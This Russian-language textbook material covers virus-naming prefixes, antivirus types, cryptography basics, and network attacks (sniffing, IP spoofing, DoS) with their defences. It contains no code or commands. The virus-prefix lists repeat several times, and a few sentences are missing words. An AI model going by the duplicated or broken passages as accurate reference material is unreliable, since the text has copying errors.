· "Win." - поражает 16 битовые исполняемые программы (NE) в операционной системе Windows NE - NewExe - формат исполняемых файлов операционной системы Windows 3.xx . Некоторые из этих вирусов могут работать не только в среде Windows'3.xx но также и в Win'95/98/NT. 

· "Win95." - поражает 32 битовые исполняемые программы (PE и LE(VxD) операционной системы Windows и только в среде Windows 95/98 

· "WinNT." - поражает 32 битовые исполняемые программы (PE) операционной системы Windows и действуют только в среде Windows NT; 

· "Win32." - поражает 32 битовые исполняемые программы (PE) операционной системы Windows и действуют в различных средах - Windows 95/98/NT; 

· "OS2." - поражают исполняемые программы (LX) операционной системы OS/2 и действуют только в среде OS/2; 

· "Linux." - поражают исполняемые программы операционной системы Linux и действуют только в среде Linux; 

· "Java." - вирусы написанные на языке программирования Java; 

 Silly-вирусы 

Вирусы, которые не обладают никакими особенными характеристиками (такими как текстовые строки, специальные эффекты и т.д.) вследствие чего нет возможности присвоить таким вирусам особенные названия.

· "SillyC." - не резидентные в памяти вирусы, объектами поражения которых являются только COM-файлы; 

· "SillyE." - не резидентные в памяти вирусы, объектами поражения которых являются только EXE-файлы; 

· "SillyCE." - не резидентные в памяти вирусы, объектами поражения которых являются только COM- и EXE-файлы; 

· "SillyRC." - резидентные в памяти вирусы, объектами поражения которых являются только COM-файлы; 

· "SillyRE." - резидентные в памяти вирусы, объектами поражения которых являются только EXE-файлы; 

· "SillyRCE." - резидентные в памяти вирусы, объектами поражения которых являются только COM- и EXE-файлы; 

· "SillyO." -не резидентные в памяти вирусы, которые перезаписывают файлы; 

· "SillyOR." - резидентные в памяти вирусы, которые перезаписывают файлы. 

Другие суффиксы 

· "IRC."- вирусные программы-черви, которые распространяются, используя среду Internet Relayed Chat channels. 

Также при именовании вирусов компания "Доктор Веб" использует следующие суффиксы:

· ".generator" - так называемый «Вирусный конструктор» 

· ".based" - этот суффикс означает, что вирус был сгенерирован специальной программой «Вирусный конструктор» или что вирус был создан как модификация какого-то "basic" вирусного кода 

· ".dropper" - общее название для «инсталлятора» вируса. Не является сам вирусом. При запуске производит вирус и инсталлирует его в операционную систему (в исполняемый файл, документ, загрузочный сектор и т.д.). 

Вирусы, поражающие различные операционные системы 

· "Win." - поражает 16 битовые исполняемые программы (NE) в операционной системе Windows NE - NewExe - формат исполняемых файлов операционной системы Windows 3.xx . Некоторые из этих вирусов могут работать не только в среде Windows'3.xx но также и в Win'95/98/NT. 

· "Win95." - поражает 32 битовые исполняемые программы (PE и LE(VxD) операционной системы Windows и только в среде Windows 95/98 

· "WinNT." - поражает 32 битовые исполняемые программы (PE) операционной системы Windows и действуют только в среде Windows NT; 

· "Win32." - поражает 32 битовые исполняемые программы (PE) операционной системы Windows и действуют в различных средах - Windows 95/98/NT; 

· "OS2." - поражают исполняемые программы (LX) операционной системы OS/2 и действуют только в среде OS/2; 

· "Linux." - поражают исполняемые программы операционной системы Linux и действуют только в среде Linux; 

· "Java." - вирусы написанные на языке программирования Java; 

 Троянские кони 

· "Trojan." - общее название для различных Троянских коней (Троянцев) : 

· "PWS." - Троянский конь, который ворует пароли. Как правило, префикс такой вирусной программы дополняется словом "Trojan." - "Trojan.PWS." 

· "Backdoor." - вирусная троянская программа, которая содержит в себе RAT-функцию (RAT - Remote Administration Tool - утилита удаленного администрирования). 

Скрипт-вирусы 

Такие вирусы пишутся на различных языках сценариев. Как правило, это VBS-, JS- и WScript- вирусные программы-черви, которые распространяются через электронную почту.

· "VBS." - вирусы, написанные на языке Visual Basic Script; 

· "JS." - вирусы, написанные на языке Java Script language; 

· "WScript." - VBS- и/или JS- черви обычно встроены в HTML-файлы. 

· "BAT." - вирусы, написанные на языке командного интерпретатора MS-DOS 

Silly-вирусы 

Вирусы, которые не обладают никакими особенными характеристиками (такими как текстовые строки, специальные эффекты и т.д.) вследствие чего нет возможности присвоить таким вирусам особенные названия.

· "SillyC." - не резидентные в памяти вирусы, объектами поражения которых являются только COM-файлы; 

· "SillyE." - не резидентные в памяти вирусы, объектами поражения которых являются только EXE-файлы; 

· "SillyCE." - не резидентные в памяти вирусы, объектами поражения которых являются только COM- и EXE-файлы; 

· "SillyRC." - резидентные в памяти вирусы, объектами поражения которых являются только COM-файлы; 

· "SillyRE." - резидентные в памяти вирусы, объектами поражения которых являются только EXE-файлы; 

· "SillyRCE." - резидентные в памяти вирусы, объектами поражения которых являются только COM- и EXE-файлы; 

· "SillyO." -не резидентные в памяти вирусы, которые перезаписывают файлы; 

· "SillyOR." - резидентные в памяти вирусы, которые перезаписывают файлы. 

Другие суффиксы 

· "IRC."- вирусные программы-черви, которые распространяются, используя среду Internet Relayed Chat channels. 

Также при именовании вирусов компания "Доктор Веб" использует следующие суффиксы:

· ".generator" - так называемый «Вирусный конструктор» 

· ".based" - этот суффикс означает, что вирус был сгенерирован специальной программой «Вирусный конструктор» или что вирус был создан как модификация какого-то "basic" вирусного кода 

· ".dropper" - общее название для «инсталлятора» вируса. Не является сам вирусом. При запуске производит вирус и инсталлирует его в операционную систему (в исполняемый файл, документ, загрузочный сектор и т.д.). 

Вирусы, поражающие различные операционные системы 

· "Win." - поражает 16 битовые исполняемые программы (NE) в операционной системе Windows NE - NewExe - формат исполняемых файлов операционной системы Windows 3.xx . Некоторые из этих вирусов могут работать не только в среде Windows'3.xx но также и в Win'95/98/NT. 

· "Win95." - поражает 32 битовые исполняемые программы (PE и LE(VxD) операционной системы Windows и только в среде Windows 95/98 

· "WinNT." - поражает 32 битовые исполняемые программы (PE) операционной системы Windows и действуют только в среде Windows NT; 

· "Win32." - поражает 32 битовые исполняемые программы (PE) операционной системы Windows и действуют в различных средах - Windows 95/98/NT; 

· "OS2." - поражают исполняемые программы (LX) операционной системы OS/2 и действуют только в среде OS/2; 

· "Linux." - поражают исполняемые программы операционной системы Linux и действуют только в среде Linux; 

· "Java." - вирусы написанные на языке программирования Java; 

 Другие суффиксы 

· "IRC."- вирусные программы-черви, которые распространяются, используя среду Internet Relayed Chat channels. 

Также при именовании вирусов компания "Доктор Веб" использует следующие суффиксы:

· ".generator" - так называемый «Вирусный конструктор» 

· ".based" - этот суффикс означает, что вирус был сгенерирован специальной программой «Вирусный конструктор» или что вирус был создан как модификация какого-то "basic" вирусного кода 

· ".dropper" - общее название для «инсталлятора» вируса. Не является сам вирусом. При запуске производит вирус и инсталлирует его в операционную систему (в исполняемый файл, документ, загрузочный сектор и т.д.). 

Вирусы, поражающие различные операционные системы 

· "Win." - поражает 16 битовые исполняемые программы (NE) в операционной системе Windows NE - NewExe - формат исполняемых файлов операционной системы Windows 3.xx . Некоторые из этих вирусов могут работать не только в среде Windows'3.xx но также и в Win'95/98/NT. 

· "Win95." - поражает 32 битовые исполняемые программы (PE и LE(VxD) операционной системы Windows и только в среде Windows 95/98 

· "WinNT." - поражает 32 битовые исполняемые программы (PE) операционной системы Windows и действуют только в среде Windows NT; 

· "Win32." - поражает 32 битовые исполняемые программы (PE) операционной системы Windows и действуют в различных средах - Windows 95/98/NT; 

· "OS2." - поражают исполняемые программы (LX) операционной системы OS/2 и действуют только в среде OS/2; 

· "Linux." - поражают исполняемые программы операционной системы Linux и действуют только в среде Linux; 

· "Java." - вирусы написанные на языке программирования Java; 

7.7 Классификация антивирусов 
В настоящее время не существует единой системы классификации антивирусных программ. 

Классификация антивирусов по режиму работы 
В Лаборатории Касперского классифицируют антивирусы по режиму работы: 

Проверка в режиме реального времени 

Проверка в режиме реального времени, или постоянная проверка, обеспечивает непрерывность работы антивирусной защиты. Это реализуется с помощью обязательной проверки всех действий, совершаемых другими программами и самим пользователем, на предмет вредоносности, вне зависимости от их исходного расположения – будь это свой жесткий диск, внешние носители информации, другие сетевые ресурсы или собственная оперативная память. Также проверке подвергаются все косвенные действия через третьи программы. 

Проверка по требованию 

В некоторых случаях наличия постоянно работающей проверки в режиме реального времени может быть недостаточно. Возможна ситуация, когда на компьютер был скопирован зараженный файл, исключенный из постоянной проверки ввиду больших размеров и следовательно вирус в нем обнаружен не был. Если этот файл на рассматриваемом компьютере запускаться не будет, то вирус может остаться незамеченным и проявить себя только после пересылки его на другой компьютер. 

Для такого режима обычно предполагается, что пользователь лично укажет какие файлы, каталоги или области диска необходимо проверить и время, когда нужно произвести такую проверку – в виде расписания или разового запуска вручную. 

Классификация антивирусов по типу 
Также антивирусные программы можно классифицировать по типу: 

Сканеры (другие названия: фаги, полифаги) 

Принцип работы антивирусных сканеров основан на проверке файлов, секторов и системной памяти и поиске в них известных и новых (неизвестных сканеру) вирусов. Для поиска известных вирусов используются так называемые "маски". Маской вируса является некоторая постоянная последовательность кода, специфичная для этого конкретного вируса. Если вирус не содержит постоянной маски, или длина этой маски недостаточно велика, то используются другие методы. Примером такого метода являетcя алгоритмический язык, описывающий все возможные варианты кода, которые могут встретиться при заражении подобного типа вирусом. Такой подход используется некоторыми антивирусами для детектирования полиморфик-вирусов. 

Во многих сканерах используются также алгоритмы "эвристического сканирования", т.е. анализ последовательности команд в проверяемом объекте, набор некоторой статистики и принятие решения для каждого проверяемого объекта. 

Сканеры также можно разделить на две категории - "универсальные" и "специализированные". Универсальные сканеры рассчитаны на поисх и обезвреживание всех типов вирусов вне зависимости от операционной системы, на работу в которой рассчитан сканер. Специализированные сканеры предназначены для обезвреживания ограниченного числа вирусов или только одного их класса, например макро-вирусов. 

Сканеры также делятся на "резидентные" (мониторы), производящие сканирование "на-лету", и "нерезидентные", обеспечивающие проверку системы только по запросу. Как правило, "резидентные" сканеры обеспечивают более надежную защиту системы, поскольку они немедленно реагируют на появление вируса, в то время как "нерезидентный" сканер способен опознать вирус только во время своего очередного запуска. 

CRC-сканеры 

Принцип работы CRC-сканеров основан на подсчете CRC-сумм (контрольных сумм) для присутствующих на диске файлов/системных секторов. Эти CRC-суммы затем сохраняются в базе данных антивируса, как, впрочем, и некоторая другая информация: длины файлов, даты их последней модификации и т.д. При последующем запуске CRC-сканеры сверяют данные, содержащиеся в базе данных, с реально подсчитанными значениями. Если информация о файле, записанная в базе данных, не совпадает с реальными значениями, то CRC-сканеры сигнализируют о том, что файл был изменен или заражен вирусом. 

CRC-сканеры не способны поймать вирус в момент его появления в системе, а делают это лишь через некоторое время, уже после того, как вирус разошелся по компьютеру. CRC-сканеры не могут определить вирус в новых файлах (в электронной почте, на дискетах, в файлах, восстанавливаемых из backup или при распаковке файлов из архива), поскольку в их базах данных отсутствует информация об этих файлах. Более того, периодически появляются вирусы, которые используют эту "слабость" CRC-сканеров, заражают только вновь создаваемые файлы и остаются, таким образом, невидимыми для них. 

Блокировщики 

Антивирусные блокировщики - это резидентные программы, перехватывающие "вирусо-опасные" ситуации и сообщающие об этом пользователю. К "вирусо-опасным" относятся вызовы на открытие для записи в выполняемые файлы, запись в boot-сектора дисков или MBR винчестера, попытки программ остаться резидентно и т.д., то есть вызовы, которые характерны для вирусов в моменты из размножения. 

К достоинствам блокировщиков относится их способность обнаруживать и останавливать вирус на самой ранней стадии его размножения. К недостаткам относятся существование путей обхода защиты блокировщиков и большое количество ложных срабатываний. 

Иммунизаторы 

Иммунизаторы делятся на два типа: иммунизаторы, сообщающие о заражении, и иммунизаторы, блокирующие заражение. Первые обычно записываются в конец файлов (по принципу файлового вируса) и при запуске файла каждый раз проверяют его на изменение. Недостаток у таких иммунизаторов всего один, но он летален: абсолютная неспособность сообщить о заражении стелс-вирусом. Поэтому такие иммунизаторы, как и блокировщики, практически не используются в настоящее время. 

Второй тип иммунизации защищает систему от поражения вирусом какого-то определенного вида. Файлы на дисках модифицируются таким образом, что вирус принимает их за уже зараженные. Для защиты от резидентного вируса в память компьютера заносится программа, имитирующая копию вируса. При запуске вирус натыкается на нее и считает, что система уже заражена. 

Такой тип иммунизации не может быть универсальним, поскольку нельзя иммунизировать файлы от всех известных вирусов. 

Классификация антивирусов по признаку изменяемости во времени 
По мнению Валерия Конявского, антивирусные средства можно разделить на две большие группы - анализирующие данные и анализирующие процессы. 

Анализ данных 

К анализу данных относятся "ревизоры" и "полифаги". "Ревизоры" анализируют последствия от деятельности компьютерных вирусов и других вредоносных программ. Последствия проявляются в изменении данных, которые изменяться не должны. Именно факт изменения данных является признаком деятельности вредоносных программ с точки зрения "ревизора". Другими словами, "ревизоры" контролируют целостность данных и по факту нарушения целостности принимают решение о наличии в компьютерной среде вредоносных программ. 

"Полифаги" действуют по-другому. Они на основе анализа данных выделяют фрагменты вредоносного кода (например, по его сигнатуре) и на этой основе делают вывод о наличии вредоносных программ. Удаление или "лечение" пораженных вирусом данных позволяет предупредить негативные последствия исполнения вредоносных программ. Таким образом, на основе анализа "в статике" предупреждаются последствия, возникающие "в динамике". 

Схема работы и "ревизоров", и "полифагов" практически одинакова - сравнить данные (или их контрольную сумму) с одним или несколькими эталонными образцами. Данные сравниваются с данными. Таким образом, для того чтобы найти вирус в своем компьютере, нужно, чтобы он уже "сработал", чтобы появились последствия его деятельности. Этим способом можно найти только известные вирусы, для которых заранее описаны фрагменты кода или сигнатуры. Вряд ли такую защиту можно назвать надежной. 

7.8 Шифрование
7.9 Криптография и шифрование

7.9.1 Что такое шифрование

Шифрование — это способ изменения сообщения или другого документа, обеспечивающее искажение (сокрытие) его содержимого. (Кодирование – это преобразование обычного, понятного, текста в код. При этом подразумевается, что существует взаимно однозначное соответствие между символами текста(данных, чисел, слов) и символьного кода – в этом принципиальное отличие кодирования от шифрования. Часто кодирование и шифрование считают одним и тем же, забывая о том, что для восстановления закодированного сообщения, достаточно знать правило подстановки(замены). Для восстановления же зашифрованного сообщения помимо знания правил шифрования, требуется и ключ к шифру. Ключ понимается нами как конкретное секретное состояние параметров алгоритмов шифрования и дешифрования. Знание ключа дает возможность прочтения секретного сообщения. Впрочем, далеко не всегда незнание ключа гарантирует то, что сообщение не сможет прочесть посторонний человек.). Шифровать можно не только текст, но и различные данные – от файлов баз данных и текстовых процессоров до файлов изображений.

Шифрование используется человечеством с того самого момента, как появилась первая секретная информация, т. е. такая, доступ к которой должен быть ограничен.

Идея шифрования состоит в предотвращении просмотра истинного содержания сообщения(текста, файла и т.п.) теми , у кого нет средств его дешифрования. А прочесть файл сможет лишь тот, кто сможет его дешифровать.

Шифрование появилось примерно четыре тысячи лет тому назад. Первым известным применением шифра (кода) считается египетский текст, датированный примерно 1900 г. до н. э., автор которого использовал вместо обычных (для египтян) иероглифов не совпадающие с ними знаки.

Один из самых известных методов шифрования носит имя Цезаря, который если и не сам его изобрел, то активно им пользовался. Не доверяя своим посыльным, он шифровал письма элементарной заменой А на D, В на Е и так далее по всему латинскому алфавиту. При таком кодировании комбинация XYZ была бы записана как АВС, а слово «ключ» превратилось бы в неудобоваримое «нобъ»(прямой код N+3).

Спустя 500 лет шифрование стало повсеместно использоваться при оставлении текстов религиозного содержания, молитв и важных государственных документов.

Со средних веков и до наших дней необходимость шифрования военных, дипломатических и государственных документов стимулировало развитие криптографии. Сегодня потребность в средствах, обеспечивающих безопасность обмена информацией, многократно возросла.

7.9.2 Основные понятия и определения криптографии

Криптография дает возможность преобразовать информацию таким образом, что ее прочтение (восстановление) возможно только при знании ключа.

Некоторые основные понятия и определения.

Алфавит - конечное множество используемых для кодирования информации знаков.

Текст - упорядоченный набор из элементов алфавита. 

В качестве примеров алфавитов, используемых в современных ИС можно привести следующие: 

· алфавит Z33 - 32 буквы русского алфавита и пробел; 

· алфавит Z256 - символы, входящие в стандартные коды ASCII и КОИ-8; 

· бинарный алфавит - Z2 = {0,1}; 

· восьмеричный алфавит или шестнадцатеричный алфавит;

Шифрование - преобразовательный процесс: исходный текст, который носит также название открытого текста, заменяется шифрованным текстом. 

Дешифрование - обратный шифрованию процесс. На основе ключа шифрованный текст преобразуется в исходный.

Ключ - информация, необходимая для беспрепятственного шифрования и дешифрования текстов.

Криптографическая система представляет собой семейство T преобразований открытого текста. члены этого семейства индексируются, или обозначаются символом k; параметр k является ключом. Пространство ключей K - это набор возможных значений ключа. Обычно ключ представляет собой последовательный ряд букв алфавита. 

Криптосистемы разделяются на симметричные и с открытым ключом ( или асимметрические) .

В симметричных криптосистемах и для шифрования, и для дешифрования используется один и тот же ключ.

В системах с открытым ключом используются два ключа - открытый и закрытый, которые математически связаны друг с другом. Информация шифруется с помощью открытого ключа, который доступен всем желающим, а расшифровывается с помощью закрытого ключа, известного только получателю сообщения.

Термины распределение ключей и управление ключами относятся к процессам системы обработки информации, содержанием которых является составление и распределение ключей между пользователями. 

Электронной (цифровой) подписью называется присоединяемое к тексту его криптографическое преобразование, которое позволяет при получении текста другим пользователем проверить авторство и подлинность сообщения.

Криптостойкостью называется характеристика шифра, определяющая его стойкость к дешифрованию без знания ключа (т.е. криптоанализу). Имеется несколько показателей криптостойкости, среди которых: 

· количество всех возможных ключей; 

· среднее время, необходимое для криптоанализа.

Преобразование Tk определяется соответствующим алгоритмом и значением параметра k. Эффективность шифрования с целью защиты информации зависит от сохранения тайны ключа и криптостойкости шифра. 

Процесс криптографического закрытия данных может осуществляться как программно, так и аппаратно. Аппаратная реализация отличается существенно большей стоимостью, однако ей присущи и преимущества: высокая производительность, простота, защищенность и т.д. Программная реализация более практична, допускает известную гибкость в использовании.

Для современных криптографических систем защиты информации сформулированы следующие общепринятые требования: 

· зашифрованное сообщение должно поддаваться чтению только при наличии ключа; 

· число операций, необходимых для определения использованного ключа шифрования по фрагменту шифрованного сообщения и соответствующего ему открытого текста; 

· должно быть не меньше общего числа возможных ключей; 

· число операций, необходимых для расшифровывания информации путем перебора всевозможных ключей должно иметь строгую нижнюю оценку и выходить за пределы возможностей современных компьютеров (с учетом возможности использования сетевых вычислений); 

· знание алгоритма шифрования не должно влиять на надежность защиты; 

· незначительное изменение ключа должно приводить к существенному изменению вида зашифрованного сообщения даже при использовании одного и того же ключа; 

· структурные элементы алгоритма шифрования должны быть неизменными; 

· дополнительные биты, вводимые в сообщение в процессе шифрования, должен быть полностью и надежно скрыты в шифрованном тексте; 

· длина шифрованного текста должна быть равной длине исходного текста; 

· не должно быть простых и легко устанавливаемых зависимостью между ключами, последовательно используемыми в процессе шифрования; 

· любой ключ из множества возможных должен обеспечивать надежную защиту информации; 

· алгоритм должен допускать как программную, так и аппаратную реализацию, при этом изменение длины ключа не должно вести к качественному ухудшению алгоритма шифрования.

7.10 Сетевые атаки, сетевые экраны

7.10.1 Классификация сетевых атак

Интернет полностью меняет наш образ жизни: работу, учебу, досуг. Эти изменения будут происходить как в уже известных нам областях (электронная коммерция, доступ к информации в реальном времени, расширение возможностей связи и т.д.), так и в тех сферах, о которых мы пока не имеем представления. Может наступить такое время, когда корпорация будет производить все свои телефонные звонки через Интернет, причем совершенно бесплатно. В частной жизни возможно появление специальных Web-сайтов, при помощи которых родители смогут в любой момент узнать, как обстоят дела у их детей. Наше общество только начинает осознавать безграничные возможности Интернета.
7.10.1.1 Введение


Одновременно с колоссальным ростом популярности Интернета возникает беспрецедентная опасность разглашения персональных данных, критически важных корпоративных ресурсов, государственных тайн и т.д. Каждый день хакеры подвергают угрозе эти ресурсы, пытаясь получить к ним доступ при помощи специальных атак, которые постепенно становятся, с одной стороны, более изощренными, а с другой — простыми в исполнении. Этому способствуют два основных фактора.

Во-первых, это повсеместное проникновение Интернета. Сегодня к Сети подключены миллионы устройств, и многие миллионы устройств будут подключены к Интернету в ближайшем будущем, поэтому вероятность доступа хакеров к уязвимым устройствам постоянно возрастает. Кроме того, широкое распространение Интернета позволяет хакерам обмениваться информацией в глобальном масштабе. Простой поиск по ключевым словам типа «хакер», «взлом», «hack», «crack» или «phreak» даст вам тысячи сайтов, на многих из которых можно найти вредоносные коды и способы их использования.

Во-вторых, это широчайшее распространение простых в использовании операционных систем и сред разработки. Данный фактор резко снижает уровень необходимых хакеру знаний и навыков. Раньше, чтобы создавать и распространять простые в использовании приложения, хакер должен был обладать хорошими навыками программирования. Теперь, чтобы получить доступ к хакерскому средству, нужно только знать IP-адрес нужного сайта, а для проведения атаки достаточно щелкнуть мышью.

7.10.1.2 Классификация сетевых атак


Сетевые атаки столь же многообразны, как и системы, против которых они направлены. Некоторые атаки отличаются большой сложностью, другие по силам обычному оператору, даже не предполагающему, к каким последствиям может привести его деятельность. Для оценки типов атак необходимо знать некоторые ограничения, изначально присущие протоколу TPC/IP. Сеть Интернет создавалась для связи между государственными учреждениями и университетами с целью оказания помощи учебному процессу и научным исследованиям. Создатели этой сети не подозревали, насколько широкое распространение она получит. В результате в спецификациях ранних версий Интернет-протокола (IP) отсутствовали требования безопасности. Именно поэтому многие реализации IP являются изначально уязвимыми. Через много лет, после множества рекламаций (Request for Comments, RFC), наконец стали внедряться средства безопасности для IP. Однако ввиду того, что изначально средства защиты для протокола IP не разрабатывались, все его реализации стали дополняться разнообразными сетевыми процедурами, услугами и продуктами, снижающими риски, присущие этому протоколу. Далее мы кратко рассмотрим типы атак, которые обычно применяются против сетей IP, и перечислим способы борьбы с ними.

Сниффер пакетов

Сниффер пакетов представляет собой прикладную программу, которая использует сетевую карту, работающую в режиме promiscuous mode (в этом режиме все пакеты, полученные по физическим каналам, сетевой адаптер отправляет приложению для обработки). При этом сниффер перехватывает все сетевые пакеты, которые передаются через определенный домен. В настоящее время снифферы работают в сетях на вполне законном основании. Они используются для диагностики неисправностей и анализа трафика. Однако ввиду того, что некоторые сетевые приложения передают данные в текстовом формате (Telnet, FTP, SMTP, POP3 и т.д.), с помощью сниффера можно узнать полезную, а иногда и конфиденциальную информацию (например, имена пользователей и пароли).

Перехват имен и паролей создает большую опасность, так как пользователи часто применяют один и тот же логин и пароль для множества приложений и систем. Многие пользователи вообще имеют единый пароль для доступа ко всем ресурсам и приложениям. Если приложение работает в режиме «клиент-сервер», а аутентификационные данные передаются по сети в читаемом текстовом формате, то эту информацию с большой вероятностью можно использовать для доступа к другим корпоративным или внешним ресурсам. Хакеры слишком хорошо знают и используют человеческие слабости (методы атак часто базируются на методах социальной инженерии). Они прекрасно представляют себе, что мы пользуемся одним и тем же паролем для доступа к множеству ресурсов, и потому им часто удается, узнав наш пароль, получить доступ к важной информации. В самом худшем случае хакер получает доступ к пользовательскому ресурсу на системном уровне и с его помощью создает нового пользователя, которого можно в любой момент использовать для доступа в Сеть и к ее ресурсам.

Снизить угрозу сниффинга пакетов можно с помощью следующих средств:

• Аутентификация. Сильные средства аутентификации являются важнейшим способом защиты от сниффинга пакетов. Под «сильными» мы понимаем такие методы аутентификации, которые трудно обойти. Примером такой аутентификации являются однократные пароли (One-Time Passwords, OTP). ОТР — это технология двухфакторной аутентификации, при которой происходит сочетание того, что у вас есть, с тем, что вы знаете. Типичным примером двухфакторной аутентификации является работа обычного банкомата, который опознает вас, во-первых, по вашей пластиковой карточке, а во-вторых, по вводимому вами пин-коду. Для аутентификации в системе ОТР также требуются пин-код и ваша личная карточка. Под «карточкой» (token) понимается аппаратное или программное средство, генерирующее (по случайному принципу) уникальный одномоментный однократный пароль. Если хакер узнает данный пароль с помощью сниффера, то эта информация будет бесполезной, поскольку в этот момент пароль уже будет использован и выведен из употребления. Отметим, что этот способ борьбы со сниффингом эффективен только в случаях перехвата паролей. Снифферы, перехватывающие другую информацию (например, сообщения электронной почты), не теряют своей эффективности.

• Коммутируемая инфраструктура. Еще одним способом борьбы со сниффингом пакетов в вашей сетевой среде является создание коммутируемой инфраструктуры. Если, к примеру, во всей организации используется коммутируемый Ethernet, хакеры могут получить доступ только к трафику, поступающему на тот порт, к которому они подключены. Коммутируемая инфраструктура не устраняет угрозы сниффинга, но заметно снижает ее остроту.

• Антиснифферы. Третий способ борьбы со сниффингом заключается в установке аппаратных или программных средств, распознающих снифферы, работающие в вашей сети. Эти средства не могут полностью ликвидировать угрозу, но, как и многие другие средства сетевой безопасности, они включаются в общую систему защиты. Антиснифферы измеряют время реагирования хостов и определяют, не приходится ли хостам обрабатывать лишний трафик. Одно из таких средств, поставляемых компанией LOpht Heavy Industries, называется AntiSniff.

• Криптография. Этот самый эффективный способ борьбы со сниффингом пакетов хотя и не предотвращает перехвата и не распознает работу снифферов, но делает эту работу бесполезной. Если канал связи является криптографически защищенным, то хакер перехватывает не сообщение, а зашифрованный текст (то есть непонятную последовательность битов). Криптография Cisco на сетевом уровне базируется на протоколе IPSec, который представляет собой стандартный метод защищенной связи между устройствами с помощью протокола IP. К другим криптографическим протоколам сетевого управления относятся протоколы SSH (Secure Shell) и SSL (Secure Socket Layer).

IP-спуфинг

IP-спуфинг происходит в том случае, когда хакер, находящийся внутри корпорации или вне ее, выдает себя за санкционированного пользователя. Это можно сделать двумя способами: хакер может воспользоваться или IP-адресом, находящимся в пределах диапазона санкционированных IP-адресов, или авторизованным внешним адресом, которому разрешается доступ к определенным сетевым ресурсам. Атаки IP-спуфинга часто являются отправной точкой для прочих атак. Классический пример — атака DoS, которая начинается с чужого адреса, скрывающего истинную личность хакера.

Как правило, IP-спуфинг ограничивается вставкой ложной информации или вредоносных команд в обычный поток данных, передаваемых между клиентским и серверным приложением или по каналу связи между одноранговыми устройствами. Для двусторонней связи хакер должен изменить все таблицы маршрутизации, чтобы на трафик на ложный IP-адрес. Некоторые хакеры, однако, даже не пытаются получить ответ от приложений — если главная задача заключается в получении от системы важного файла, то ответы приложений не имеют значения.

Если же хакеру удается поменять таблицы маршрутизации и на трафик на ложный IP-адрес, он получит все пакеты и сможет отвечать на них так, как будто является санкционированным пользователем.

Угрозу спуфинга можно ослабить (но не устранить) с помощью перечисленных ниже мер.

• Контроль доступа. Самый простой способ предотвращения IP-спуфинга состоит в правильной настройке управления доступом. Чтобы снизить эффективность IP-спуфинга, настройте контроль доступа на отсечение любого трафика, поступающего из внешней сети с исходным адресом, который должен располагаться внутри вашей сети. Правда, это помогает бороться с IP-спуфингом, когда санкционированными являются только внутренние адреса; если же санкционированными являются и некоторые адреса внешней сети, данный метод становится неэффективным.

• Фильтрация RFC 2827. Вы можете пресечь попытки спуфинга чужих сетей пользователями вашей сети (и стать добропорядочным сетевым гражданином). Для этого необходимо отбраковывать любой исходящий трафик, исходный адрес которого не является одним из IP-адресов вашей организации. Данный тип фильтрации, известный под названием RFC 2827, может выполнять и ваш провайдер (ISP). В результате отбраковывается весь трафик, который не имеет исходного адреса, ожидаемого на определенном интерфейсе. К примеру, если ISP предоставляет соединение с IP-адресом 15.1.1.0/24, он может настроить фильтр таким образом, чтобы с данного интерфейса на маршрутизатор ISP допускался только трафик, поступающий с адреса 15.1.1.0/24. Отметим, что до тех пор, пока все провайдеры не внедрят этот тип фильтрации, его эффективность будет намного ниже возможной. Кроме того, чем дальше от фильтруемых устройств, тем труднее проводить точную фильтрацию. Например, фильтрация RFC 2827 на уровне маршрутизатора доступа требует пропуска всего трафика с главного сетевого адреса (10.0.0.0/8), тогда как на уровне распределения (в данной архитектуре) можно ограничить трафик более точно (адрес — 10.1.5.0/24).

Наиболее эффективный метод борьбы с IP-спуфингом — тот же, что и в случае со сниффингом пакетов: необходимо сделать атаку абсолютно неэффективной. IP-спуфинг может функционировать только при условии, что аутентификация происходит на базе IP-адресов. Поэтому внедрение дополнительных методов аутентификации делает подобные атаки бесполезными. Лучшим видом дополнительной аутентификации является криптографическая. Если она невозможна, хорошие результаты может дать двухфакторная аутентификация с использованием одноразовых паролей.

Отказ в обслуживании

Denial of Service (DoS), без сомнения, является наиболее известной формой хакерских атак. Кроме того, против атак такого типа труднее всего создать стопроцентную защиту. Среди хакеров атаки DoS считаются детской забавой, а их применение вызывает презрительные усмешки, поскольку для организации DoS требуется минимум знаний и умений. Тем не менее именно простота реализации и огромные масштабы причиняемого вреда привлекают к DoS пристальное внимание администраторов, отвечающих за сетевую безопасность. Если вы хотите больше узнать об атаках DoS, вам следует рассмотреть их наиболее известные разновидности, а именно:

· TCP SYN Flood; 

· Ping of Death; 

· Tribe Flood Network (TFN) и Tribe Flood Network 2000 (TFN2K); 

· Trinco; 

· Stacheldracht; 

· Trinity.


Прекрасным источником информации по вопросам безопасности является группа экстренного реагирования на компьютерные проблемы (Computer Emergency Response Team, CERT), опубликовавшая отличную работу по борьбе с атаками DoS. Эту работу можно найти на сайте www.cert.org/tech_tips/denial_of_service.html. Атаки DoS отличаются от атак других типов. Они не нацелены ни на получение доступа к вашей сети, ни на получение из этой сети какой-либо информации, но атака DoS делает вашу сеть недоступной для обычного использования за счет превышения допустимых пределов функционирования сети, операционной системы или приложения. В случае использования некоторых серверных приложений (таких как Web-сервер или FTP-сервер) атаки DoS могут заключаться в том, чтобы занять все соединения, доступные для этих приложений, и держать их в занятом состоянии, не допуская обслуживания рядовых пользователей. В ходе атак DoS могут использоваться обычные Интернет-протоколы, такие как TCP и ICMP (Internet Control Message Protocol).

Большинство атак DoS рассчитано не на программные ошибки или бреши в системе безопасности, а на общие слабости системной архитектуры. Некоторые атаки сводят к нулю производительность сети, переполняя ее нежелательными и ненужными пакетами или сообщая ложную информацию о текущем состоянии сетевых ресурсов. Данный тип атак трудно предотвратить, так как для этого требуется координация действий с провайдером. Если не остановить у провайдера трафик, предназначенный для переполнения вашей сети, то сделать это на входе в сеть вы уже не сможете, поскольку вся полоса пропускания будет занята. Когда атака данного типа проводится одновременно через множество устройств, мы говорим о распределенной атаке DoS (distributed DoS, DDoS).

Угроза атак типа DoS может быть снижена тремя способами:

• Функции антиспуфинга. Правильная конфигурация функций антиспуфинга на ваших маршрутизаторах и межсетевых экранах поможет снизить риск DoS. Эти функции как минимум должны включать фильтрацию RFC 2827. Если хакер не сможет замаскировать свою истинную личность, он вряд ли решится провести атаку.

• Функции анти-DoS. Правильная конфигурация функций анти-DoS на маршрутизаторах и межсетевых экранах способна ограничить эффективность атак. Эти функции часто ограничивают число полуоткрытых каналов в любой момент времени.

